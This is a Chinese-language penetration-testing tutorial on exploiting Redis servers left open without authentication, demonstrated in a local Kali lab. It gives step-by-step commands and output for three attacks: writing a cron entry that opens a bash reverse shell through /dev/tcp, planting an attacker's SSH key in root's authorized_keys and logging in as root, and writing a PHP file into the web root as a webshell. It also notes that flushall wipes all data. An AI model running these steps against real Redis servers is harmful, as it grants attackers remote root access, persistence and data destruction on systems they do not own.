Redis
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
本地漏洞环境搭建
本地环境kali是自身连接自身(不想开两个虚拟机了)
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make install
vim redis.conf
1:bind 127.0.0.1前面加上#号
2:protected-mode设为no
启动redis-server
./src/redis-server
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件
Redis基本命令
redis-cli -h 192.168.17.142 #连接redis
192.168.17.142:6379>info #查看redis版本信息、一些具体信息、服务器版本信息等等
192.168.17.142:6379>set x "test" #将变量x的值设为test
192.168.17.142:6379>flushall #是把整个redis数据库删除
192.168.17.142:6379>KEYS * #查看所有键
192.168.17.142:6379>CONFIG GET dir
192.168.17.142:6379>CONFIG GET dbfilename
#获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复
利用方法
1:计划任务执行命令nc反弹shell(root权限,这里没有利用成功)
#首先kali监听
nc -lvnp 4444
root@kali:~# redis-cli -h 192.168.17.142
192.168.63.130:6379> set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.63.128/4444 0>&1\n\n"
OK
192.168.17.142:6379> config set dir /var/spool/cron/
OK
192.168.17.142:6379> config set dbfilename root
OK
192.168.17.142:6379> save
OK
在redis设置一个 x 为key, "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.100/8888 0>&1\n\n" 为value的键值对
(可以看出这个值是一个定时任务,每一分钟会向192.168.1.100的8888端口发送一个bash交互式请求),然后利用config命令保存定时任务
2:写ssh-keygen公钥然后使用私钥登陆
(Redis以root用户登录,且开发了ssh服务 允许使用密匙登录)
#首先在本地生成一对密钥:
root@kali:~/Desktop# ssh-keygen -t rsa
这里是在桌面运行的,我们回到~目录,ls -alh
drwx------ 2 root root 4.0K 6月 9 03:20 .ssh
root@kali:~# cd .ssh/
root@kali:~/.ssh# ls
id_rsa id_rsa.pub known_hosts
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNT/EIeRkz+iHJ/gd7l0qERndaFn1Tq3XSkCsw/ZCtJ5Eicz1stthV6WUmvCzcc4zwNYEhQOKRkp2LoJ5XYNVgTGCqCM/ESNI+OTjDgkdfthd8JI89G3h/SlLvVb4nevS2vff8Jzz5FQ+01SZDzkEkHmeh0plMAMMc21HEjYzVpQiEoTPg9lYuDJqTQ4R2VqCql2fnjJ+wh9McjVAZZ+YlW1cpd6fesJ5zPTo+fgK5fWMbqMAR3JSfx7fd1jQSk76KbHRVE4MKqHtzbDg7eGCGha34bOn88thQjaYNSdH5nJTVnEvM4s/4RVNGHmwFbCw2PID7tXFqSIhKM0ULsMiJ root@kali
然后Redis执行命令
root@kali:~/redis-3.2.0/src# ./redis-cli
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNT/EIeRkz+iHJ/gd7l0qERndaFn1Tq3XSkCsw/ZCtJ5Eicz1stthV6WUmvCzcc4zwNYEhQOKRkp2LoJ5XYNVgTGCqCM/ESNI+OTjDgkdfthd8JI89G3h/SlLvVb4nevS2vff8Jzz5FQ+01SZDzkEkHmeh0plMAMMc21HEjYzVpQiEoTPg9lYuDJqTQ4R2VqCql2fnjJ+wh9McjVAZZ+YlW1cpd6fesJ5zPTo+fgK5fWMbqMAR3JSfx7fd1jQSk76KbHRVE4MKqHtzbDg7eGCGha34bOn88thQjaYNSdH5nJTVnEvM4s/4RVNGHmwFbCw2PID7tXFqSIhKM0ULsMiJ root@kali\n\n\n"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
保存之后就可以用私钥登录ssh
#因为我这是本机登录本机 所以直接exit,看回显
root@kali:~/.ssh# ssh -i id_rsa root@192.168.17.142
Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 9 03:17:11 2020 from 192.168.17.142
root@kali:~# exit
注销
Connection to 192.168.17.142 closed.
root@kali:~/.ssh#
web物理路径写webshell
(redis权限不高,开着web服务,有写入权限,且知道网站绝对路径)
127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set x "<?php phpinfo();?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
然后访问web路径即可